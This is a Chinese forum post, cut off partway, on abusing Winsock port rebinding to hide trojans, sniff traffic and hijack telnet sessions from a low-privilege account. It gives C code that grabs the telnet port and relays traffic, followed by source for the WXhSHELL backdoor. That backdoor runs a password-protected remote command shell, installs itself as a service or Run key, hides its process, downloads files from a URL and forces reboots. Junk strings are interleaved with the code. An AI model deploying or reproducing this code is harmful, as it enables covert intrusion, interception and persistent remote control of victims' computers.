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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: _5#f9,m1  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); J'tc5Ip!}V  
 !pl<  
  saddr.sin_family = AF_INET; B]]_rl,  
/Kb7#uq  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 04NI.Jv  
sAS\-c'6  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); y|V/xm+Fp  
4VLrl8$K  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 g':mM*j&  
kV"';a  
  这意味着什么?意味着可以进行如下的攻击: EL80f>K  
q.i@Lvu#  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 [La=z 7*  
FX)g\=ov  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) j['Z|Am"l  
-?<wvUbR{  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 `Q6@,-(3  
2Xk(3J!!'a  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  rFZB6A<(]  
> taT;[Oa  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 _ ={*<E  
$6atr-Pb  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 2H fP$.  
],R rk]1  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Jis{k$4  
]OZZPo  
  #include pu nc'~  
  #include AS`0.RC-  
  #include GEfX,9LF&  
  #include    /lDW5;d  
  DWORD WINAPI ClientThread(LPVOID lpParam);   MGX %U6  
  int main() N5csq(  
  { zAt!jP0E  
  WORD wVersionRequested; cqr!*  
  DWORD ret; i}ypEp  
  WSADATA wsaData; 9I=J#Hi|+  
  BOOL val; $bh2zKB)  
  SOCKADDR_IN saddr; wcP0PfY  
  SOCKADDR_IN scaddr; P (jlWr$$  
  int err; hf0G-r_ow  
  SOCKET s; [ivz/r(Rj  
  SOCKET sc; qdm5dQ (c  
  int caddsize; <M=U @  
  HANDLE mt; 3G8BYP  
  DWORD tid;   C*ZgjFvB  
  wVersionRequested = MAKEWORD( 2, 2 ); q% )Y  
  err = WSAStartup( wVersionRequested, &wsaData ); |gx{un`  
  if ( err != 0 ) { lYT}Nc4"="  
  printf("error!WSAStartup failed!\n"); vlIet$ k  
  return -1; 6#6Ve$Vl]  
  } :+ @-F>Q  
  saddr.sin_family = AF_INET; *aS|4M-  
   p=\DZU~1  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 -w=rNlj  
##BMh!  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); EonZvT-D=  
  saddr.sin_port = htons(23); g$kK)z  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ;SeDxyKG  
  { inZMq(_@$  
  printf("error!socket failed!\n"); F}<&@7kF  
  return -1; 2:MB u5**  
  } YTQ|Hg6jO  
  val = TRUE; s ,\w00-:  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 X_+`7yCi"x  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) uCF+Mp  
  { l!Z>QE`.S  
  printf("error!setsockopt failed!\n"); 9c9-1iS  
  return -1; >},O_qx  
  } IJxdbuKg  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; >k*QkIyq  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 r-'\<d(J$  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击  Us k@{  
U# Y ?'3:  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) qi`*4cas*A  
  { *:\-:*  
  ret=GetLastError(); wJ1qJ!s@  
  printf("error!bind failed!\n"); yopEqO  
  return -1; Lg|j0-"N  
  } b:\I*WJ  
  listen(s,2); 9~ajEs  
  while(1) +VDwDJ)lG  
  { d"Y9go"Z  
  caddsize = sizeof(scaddr); M3K+;-n^  
  //接受连接请求 E0\ '  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); B RG1/f d  
  if(sc!=INVALID_SOCKET)  S&]+r<  
  { 2$yKa5SaX  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); n0 _:!]k^  
  if(mt==NULL) u3Z*hs)Z%  
  { ;H_yNrwA  
  printf("Thread Creat Failed!\n"); kR7IZo" q  
  break; .sAcnf"  
  } PkF B.  
  } 63UAN0K%  
  CloseHandle(mt); >wej1#\3  
  } ETV|;>v  
  closesocket(s); G'MYTq  
  WSACleanup(); A;1<P5lo  
  return 0; vlw2dY@^  
  }   Of7j~kdh83  
  DWORD WINAPI ClientThread(LPVOID lpParam) =+T{!+|6P  
  { p+snBaAo}  
  SOCKET ss = (SOCKET)lpParam; bnUpH3  
  SOCKET sc; (03m%\  
  unsigned char buf[4096]; 0fxA*]h  
  SOCKADDR_IN saddr; `O.*qs5  
  long num; [ 8N1tZ{`  
  DWORD val; RQ y|W}d_  
  DWORD ret; %((F} 9_6  
  //如果是隐藏端口应用的话,可以在此处加一些判断 (:,N?bg  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   #E5Sc\,  
  saddr.sin_family = AF_INET; ;EW]R9HCH  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); _MR|(mV  
  saddr.sin_port = htons(23); , =IbZ  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) QL-((dZ<  
  {  v#IW;Rj8  
  printf("error!socket failed!\n"); 92]>"  
  return -1; yi"V'Us  
  }  .r[DqC  
  val = 100;  P%xk   
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) }=^YLu=  
  { *^=`HE89S  
  ret = GetLastError(); *hF5cM[  
  return -1;  6?+bi\6  
  } [ k^6#TQcn  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ^.mQ~F  
  { lD6hL8[  
  ret = GetLastError(); R5X<8(4p  
  return -1;  L/%3_,  
  } IJD'0/R'c  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ~YlbS-  
  { )$P!7$C-  
  printf("error!socket connect failed!\n"); 58mzh82+  
  closesocket(sc); j()_ VoB1  
  closesocket(ss); }LM^>M%  
  return -1; t.j q]L  
  } ~uqJ@#o{  
  while(1) W6K]jIQ  
  { l4O}>#  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。  M)Yu^  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 qe"5&cc1  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 "#rlL^9v  
  num = recv(ss,buf,4096,0); IA&((\YC  
  if(num>0) qK:.j  
  send(sc,buf,num,0); |5F]y"Nb  
  else if(num==0) gA2Il8K  
  break; *=MC+4E  
  num = recv(sc,buf,4096,0); AXH4jQw  
  if(num>0) +'= ^/!  
  send(ss,buf,num,0); I=D`:u\H  
  else if(num==0) ti`z:8n7  
  break; ~fAdOh  
  } |C=^:@}ri?  
  closesocket(ss); C&NoEtL>s  
  closesocket(sc); F{[2|u(4  
  return 0 ; #| A @  
  } 3+{hO@ O  
 3iV/7~ O  
1#(,Bq4  
========================================================== |42E'zH&  
.<u<!fL2  
下边附上一个代码,,WXhSHELL gpHI)1i'H  
zIH[ :  
========================================================== [@rZ.Hsl  
'|J-8"  
#include "stdafx.h" A8e b{qv  
t<|=-  
#include <stdio.h> ?.v!RdM+  
#include <string.h> Nq9Qsia&  
#include <windows.h> .m;1V6  
#include <winsock2.h> J^ P/2a#a  
#include <winsvc.h> , y{o!w  
#include <urlmon.h> fyYv}z  
>P>.j+o/  
#pragma comment (lib, "Ws2_32.lib") mmwwz  
#pragma comment (lib, "urlmon.lib") F!|Z_6\tv:  
>f'n l  
#define MAX_USER   100 // 最大客户端连接数 s]5wzbFO  
#define BUF_SOCK   200 // sock buffer VXn]*Mo  
#define KEY_BUFF   255 // 输入 buffer gO*cX&  
89`AF1  
#define REBOOT     0   // 重启 1^}() H62}  
#define SHUTDOWN   1   // 关机 6\\B{%3R2  
9 ?MOeOV8  
#define DEF_PORT   5000 // 监听端口 H#m)`=nZSZ  
OZ![9l  
#define REG_LEN     16   // 注册表键长度 V/"0'H\"1  
#define SVC_LEN     80   // NT服务名长度 ItYG9a  
70lb6A  
// 从dll定义API W E|L{  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); q jDW A'  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); S'Yg!KwX  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Ea!}r| ~]0  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); z+PSx'#}  
[53@'@26  
// wxhshell配置信息 ]'~'V2Ey  
struct WSCFG { p|(910OEQ  
  int ws_port;         // 监听端口 `r_qvrC  
  char ws_passstr[REG_LEN]; // 口令 T"kaOy  
  int ws_autoins;       // 安装标记, 1=yes 0=no b1nw,(hLY  
  char ws_regname[REG_LEN]; // 注册表键名 ;L(W'+  
  char ws_svcname[REG_LEN]; // 服务名 6\4oHRJC  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 kzJNdYtdH  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 M`BD]{tN}  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 YwoytoXK  
int ws_downexe;       // 下载执行标记, 1=yes 0=no  t Z\  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" MukPY2[Am  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ;NLL?6~  
[ueT]%  
}; ~K:#a$!%,  
=c-j4xna>  
// default Wxhshell configuration ?.\ CUVK  
struct WSCFG wscfg={DEF_PORT, bxkp9o  
    "xuhuanlingzhe", T-fW[][&$  
    1, "uTzmm$  
    "Wxhshell", m`nv4i#o  
    "Wxhshell", lCWk)m8  
            "WxhShell Service", YOGw Q  
    "Wrsky Windows CmdShell Service", (mt,:hX  
    "Please Input Your Password: ", \ts:'  
  1, K JPB-  
  "http://www.wrsky.com/wxhshell.exe", k/?+jb  
  "Wxhshell.exe" ~S"G~a(&j  
    }; Ywr^uy1V,/  
UgSSZ05Lq  
// 消息定义模块 g@MTKqs  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; >W.Pg`'D  
char *msg_ws_prompt="\n\r? for help\n\r#>"; pL-p  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; KDRIy@[e  
char *msg_ws_ext="\n\rExit."; 5y}}?6n+  
char *msg_ws_end="\n\rQuit."; {-Yp~HQF  
char *msg_ws_boot="\n\rReboot..."; z}8rD}BH  
char *msg_ws_poff="\n\rShutdown..."; qZKU=HM  
char *msg_ws_down="\n\rSave to "; \w^U<_zq  
^YenS6`F  
char *msg_ws_err="\n\rErr!"; TeHL=\L-^  
char *msg_ws_ok="\n\rOK!"; S@N&W&W#~  
)3h=V^rm  
char ExeFile[MAX_PATH]; 1ReO.Dd`R  
int nUser = 0; aina6@S  
HANDLE handles[MAX_USER]; [K&O]s<Y  
int OsIsNt; hkHMBsNi  
yK"U:X  
SERVICE_STATUS       serviceStatus; `5[VO  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; pR`.8MMc8  
r A0[y  
// 函数声明 2#T|+mKxZM  
int Install(void); (tyo4Tz1  
int Uninstall(void); g 4Vt"2|  
int DownloadFile(char *sURL, SOCKET wsh); JS({au  
int Boot(int flag); %J~8a_vO  
void HideProc(void); aJI>qk h?]  
int GetOsVer(void); &Vnet7LfU  
int Wxhshell(SOCKET wsl); Qs#v/r  
void TalkWithClient(void *cs); ;&Eu< %y  
int CmdShell(SOCKET sock); @hl5^d"l  
int StartFromService(void); 'e;*V$+  
int StartWxhshell(LPSTR lpCmdLine); Qi6vP&  
YCw^u  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 47`{ e_YP0  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); akJ{-   
h-lMrI)U?h  
// 数据结构和表定义 2ZIf@C{P.  
SERVICE_TABLE_ENTRY DispatchTable[] = ?kE2 S6j5  
{ cl:*Q{(Cjk  
{wscfg.ws_svcname, NTServiceMain}, !Aunwq^  
{NULL, NULL} #\%Gr tM  
}; &[R&@l Y  
!QcgTW)T  
// 自我安装 <`-"K+e!J  
int Install(void) vQu) uml  
{ a ^4(7  
  char svExeFile[MAX_PATH]; GlQ=M ) E  
  HKEY key; :T%,.sH  
  strcpy(svExeFile,ExeFile); J +<|8D  
ScZ$&n  
// 如果是win9x系统,修改注册表设为自启动 e!eWwC9u  
if(!OsIsNt) { Lm-}W "7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8V=I[UF.1?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); la|#SS95  
  RegCloseKey(key); PeT A:MW  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { KC q3S  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "i_tO+  
  RegCloseKey(key); z_A%>E4  
  return 0; 3Y=T8Gi#  
    } ^]E| >~\  
  } ,A[HYc|uy  
} =jg!@H=_i  
else { .(1=iL_3e  
yMX4 f  
// 如果是NT以上系统,安装为系统服务 e<iTU?eJM  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); z0g$+bhy  
if (schSCManager!=0) (z^2LaM `8  
{ Haq23K  
  SC_HANDLE schService = CreateService _IT,>#ba  
  ( *zz/U (9D  
  schSCManager, 2z )h,<D  
  wscfg.ws_svcname, *$^M E  
  wscfg.ws_svcdisp, 6"&&s  
  SERVICE_ALL_ACCESS, {) Y &Vr5  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , {nj\dU  
  SERVICE_AUTO_START, Jv7 @[<$  
  SERVICE_ERROR_NORMAL, 6JK;]Ah  
  svExeFile, = 2My-%i  
  NULL, r10)1`[  
  NULL, Z!LzyCVl  
  NULL, Pw$'TE}  
  NULL, !B-&I E?  
  NULL Ix1ec^?f  
  ); v,g,c`BjK  
  if (schService!=0) jUBlIVl]  
  { ;&JMBn]J  
  CloseServiceHandle(schService); eYsO%y\I  
  CloseServiceHandle(schSCManager); l9P~,Ec4''  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); !aLByMA  
  strcat(svExeFile,wscfg.ws_svcname); ;=B&t@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { M}38uxP  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ^z0[{1  
  RegCloseKey(key); $2;YJjz(  
  return 0; j q1qj9KZ  
    } &w/aQs~  
  } m#%5H  
  CloseServiceHandle(schSCManager); b3Y9  
} y}#bCRy~.A  
} nwO;>Qr  
f$(w>B7..  
return 1; 7(gQ6?KsZ  
} BT`/O D@  
$XT&8%|*7  
// 自我卸载 iW)FjDTP  
int Uninstall(void) N;Hf7K  
{ ijyj}gpWha  
  HKEY key; Q#:,s8TW[  
$9Z8P_^.0(  
if(!OsIsNt) { puMpUY  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "%>/rh2Iq  
  RegDeleteValue(key,wscfg.ws_regname); Q v{q:=k  
  RegCloseKey(key); Ev$?c9*>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }\l5|Ft[!  
  RegDeleteValue(key,wscfg.ws_regname); N'2u`br4KP  
  RegCloseKey(key); 8a-[Q  
  return 0; k}jH  
  } /*D]4AK  
} b?HW6Kfc  
} ;O{AYF?,N  
else { q;B-np?U  
gDAA>U3|$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); UN,@K9  
if (schSCManager!=0) O a-Z eCq  
{ !>t |vgW  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); `<\AnhNW]I  
  if (schService!=0) "d.qmM  
  { 2v%~KV  
  if(DeleteService(schService)!=0) { hiP^*5h  
  CloseServiceHandle(schService); ;Iv)J|*  
  CloseServiceHandle(schSCManager); q[dls_  
  return 0; h-jea1m  
  } Oo=} j  
  CloseServiceHandle(schService); /=Q7RJ@P  
  } npbNUKdz  
  CloseServiceHandle(schSCManager); 'SOp!h$  
} oN)K2&M0  
} % YU(,83(+  
u-jGv| ,|  
return 1; Dc BTW+  
} SjG=H%  
=I7#Vtd^K<  
// 从指定url下载文件 *,pG4kh!  
int DownloadFile(char *sURL, SOCKET wsh) pD`7N<F 3  
{ ZH~m%sA  
  HRESULT hr; \Sg&Qv`  
char seps[]= "/"; ~}wPiu,  
char *token; Ibpk\a?A{  
char *file; *^" 4 )  
char myURL[MAX_PATH]; xPsuDi8u  
char myFILE[MAX_PATH]; D97oS!*  
rD<@$KpP  
strcpy(myURL,sURL); yuKfhg7  
  token=strtok(myURL,seps); F(@|p]3*  
  while(token!=NULL) h r t\  
  { 2eb :(D7Cq  
    file=token; w 7=Y_  
  token=strtok(NULL,seps); m<"1*d~  
  } uX`Jc:1q3  
Y@#~8\_  
GetCurrentDirectory(MAX_PATH,myFILE); !;fkc0&!  
strcat(myFILE, "\\"); d \0K 3=h  
strcat(myFILE, file); 3(vI{[yhT  
  send(wsh,myFILE,strlen(myFILE),0); _|H]X+|  
send(wsh,"...",3,0); sV3/8W13  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); "o[\Aec:  
  if(hr==S_OK) i3#]_ p{  
return 0; ^$rt|]  
else \ m 2[  
return 1; #T !YFMh;  
7jEAhi!Cq(  
} I uhyBo  
HykJ}ezX4  
// 系统电源模块 LH<--#K  
int Boot(int flag) 5#WZXhlc}  
{ CEI#x~Oq  
  HANDLE hToken; mN ~;MR;  
  TOKEN_PRIVILEGES tkp; L`];i8=I  
|$6Gp Aq!  
  if(OsIsNt) { ]iPTB  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); KDHR} `  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); V&\ZqgDF  
    tkp.PrivilegeCount = 1; Dr`A4LnqY  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; :/ "q NPJ  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); lc[\ S4  
if(flag==REBOOT) { E%/E%9-7\  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) !f_Kq$.{  
  return 0; ) c+ ZQq  
} J*$ !^\s  
else { >Q"eaJxE!l  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) NhpGa@[D  
  return 0; Vf O0 z5&  
} aD%")eP%&  
  } ! =|{  
  else { .,tf[w 71  
if(flag==REBOOT) { Pf(z0o&  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) xr.fZMOh4  
  return 0; :) mV-(+o  
} 'nW:2(J  
else { %Ix^Xb0  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Eepy%-\  
  return 0; 1gCp/m2r7  
} gIRFqEz@o  
} F<G.!Y8!&  
#J1a `}x  
return 1; okr'=iDg  
} H-0deJ[>  
bha_bj  
// win9x进程隐藏模块 L3i\06M  
void HideProc(void) x!LUhX '  
{ H:p(C?tk{  
[.|tD  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); +| Cvv]Tx1  
  if ( hKernel != NULL ) /5zzzaj {  
  { rK)%n!Z  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); &bA;>Lu#|o  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); .B>|>W O  
    FreeLibrary(hKernel);  rd. "mG.  
  } ^VoQGP/cl  
#YjV3O5<  
return; p2w/jJMD  
} !4-NbtT  
QWfwoe&;R:  
// 获取操作系统版本 &S c0l/  
int GetOsVer(void) e|]g ?!  
{ P_Po g^  
  OSVERSIONINFO winfo; Y$Os&t@bu  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); D`,@EW].  
  GetVersionEx(&winfo); g/JAr<  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) *4=Fy:R]O  
  return 1; &X +@,!  
  else 24|:VxO  
  return 0; ];j8vts&  
} x{RTI#a.  
sHh2>f@x$  
// 客户端句柄模块 AE^&hH0^  
int Wxhshell(SOCKET wsl) qdUlT*fw  
{ 'VR5>r  
  SOCKET wsh; ?CM,k0  
  struct sockaddr_in client; | M-@Qvgh  
  DWORD myID; e#&[4tQF  
R)G'ILneV  
  while(nUser<MAX_USER) 6S ]GSS<  
{ &[JI L=m5  
  int nSize=sizeof(client); Og-M nx3  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); "eGS~-DVK  
  if(wsh==INVALID_SOCKET) return 1; r}03&h~Hc&  
V}@c5)(j  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); "ve?7&G7U  
if(handles[nUser]==0) >-+MWu=  
  closesocket(wsh); s7T=/SC54  
else 28Q`O$=v  
  nUser++; H${Ym BG  
  } y$\K@B4  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); =ngu*#?c4  
^!Bpev  
  return 0; KAEf4/  
} N9{ivq|fO  
v-OGY[|97  
// 关闭 socket nLT]'B]$ +  
void CloseIt(SOCKET wsh) 2NE/ZqREg  
{ _H:SoJ'  
closesocket(wsh); F-_RL-hbN%  
nUser--; F)v+.5T1  
ExitThread(0); }R}tIC-:  
} '!IX;OSjH  
=> -b?F0(c  
// 客户端请求句柄 L\hPw{)  
void TalkWithClient(void *cs) "D@m/l  
{ .8.ivfmJh  
?86h:9  
  SOCKET wsh=(SOCKET)cs; gU+BRTZ&x  
  char pwd[SVC_LEN]; RAf+%h*  
  char cmd[KEY_BUFF]; gxt2Mq;q~}  
char chr[1]; * Q51'?y  
int i,j; swlxV@NQ  
kl2]#G(  
  while (nUser < MAX_USER) { 7 yF#G9,  
Km\M /j|  
if(wscfg.ws_passstr) { QC ?8  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); B-M|}T  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Z AZQFr'*  
  //ZeroMemory(pwd,KEY_BUFF); XXe7w3x{  
      i=0; S7N54X2JwL  
  while(i<SVC_LEN) {  FcfN]!  
UP,0`fh(y  
  // 设置超时 ,9W0fm \t  
  fd_set FdRead; G)b]uX  
  struct timeval TimeOut; S5bk<8aPP  
  FD_ZERO(&FdRead); R<JI  
  FD_SET(wsh,&FdRead); aY3kww`  
  TimeOut.tv_sec=8; ~{+J~5!;<H  
  TimeOut.tv_usec=0; P=u)Q _  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 7d'@Z2%J0  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); |k?,4 Pk  
<NS= <'U  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =PO/Q|-v?  
  pwd=chr[0]; Vvv -f  
  if(chr[0]==0xd || chr[0]==0xa) { #9 } Oqm  
  pwd=0; FVF: 1DT  
  break; C-4I e  
  } |,}QhR  
  i++; XV+BSW7}  
    } %>24.i"l  
I<[(hPQUf  
  // 如果是非法用户,关闭 socket r>osa3N'  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); bM;tQ38*  
} .l#Pmd!  
D:.^]o[  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); mv30xcc  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .:<c[EJ b  
QouTMS-b  
while(1) { ugMJ}IGq  
+cj NA2@  
  ZeroMemory(cmd,KEY_BUFF); CR, Y%0vQ  
BB>7%~3f  
      // 自动支持客户端 telnet标准   %J+$p\c  
  j=0; 3zh'5qQ  
  while(j<KEY_BUFF) { Zz/w>kAG*{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); q8[Nr3.  
  cmd[j]=chr[0]; 'n>|jw)  
  if(chr[0]==0xa || chr[0]==0xd) { ` qt4~rD  
  cmd[j]=0; u6B (f;  
  break; 0imz }Z]  
  } L6Ynid.k  
  j++; 9)f1CC]  
    } 3&2,[G04  
b<:s{f"t,  
  // 下载文件 )Hev -C"  
  if(strstr(cmd,"http://")) { hXM C!~Th  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); SkPv.H0Id  
  if(DownloadFile(cmd,wsh)) QP\vN|r  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9N'$Y*. d<  
  else 8mCr6$|%  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <v5toyA  
  } [Q^kO;  
  else { br'~SXl  
VN$#y4  
    switch(cmd[0]) { c/g(=F__[  
  -$T5@  
  // 帮助 gHox{*hb[  
  case '?': { MJ92S(  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); }n:-nB4  
    break; ?B h}  
  } nS4~1a  
  // 安装 3QXGbu}:h!  
  case 'i': { 59EAqz[:  
    if(Install()) RmzK?muk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); '{7A1yJnY%  
    else QQrvT,]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); uO":\<1#  
    break; ]v9<^!  
    }  OSSMIPr  
  // 卸载 x80~j(uVf  
  case 'r': { ]k,fEn(  
    if(Uninstall()) I7[+:?2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Mq*Sp UR  
    else FE_n+^|k<  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `qfVgT=2  
    break; 'fg`td  
    } BJ&>'rc  
  // 显示 wxhshell 所在路径 5Impv3qaZ  
  case 'p': { 69IBG,N'  
    char svExeFile[MAX_PATH]; _ H@pYMNH  
    strcpy(svExeFile,"\n\r"); OZISh?  
      strcat(svExeFile,ExeFile); XPY66VC&_  
        send(wsh,svExeFile,strlen(svExeFile),0); Z#o o8  
    break; M8g=t[\  
    } HVk3F| ]V  
  // 重启 n P69W  
  case 'b': { H=wmN0s{<  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); $'&`k,a3|P  
    if(Boot(REBOOT)) >\>HRyt%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aV>w($tdd  
    else { _ -?)-L&g  
    closesocket(wsh); pf2$%lE  
    ExitThread(0); 1"!<e$&$X  
    } Q2tGe~H  
    break; WOg_Pn9HI  
    } AS8T!  
  // 关机 +$v$P!),  
  case 'd': { Q)Ppx7)  
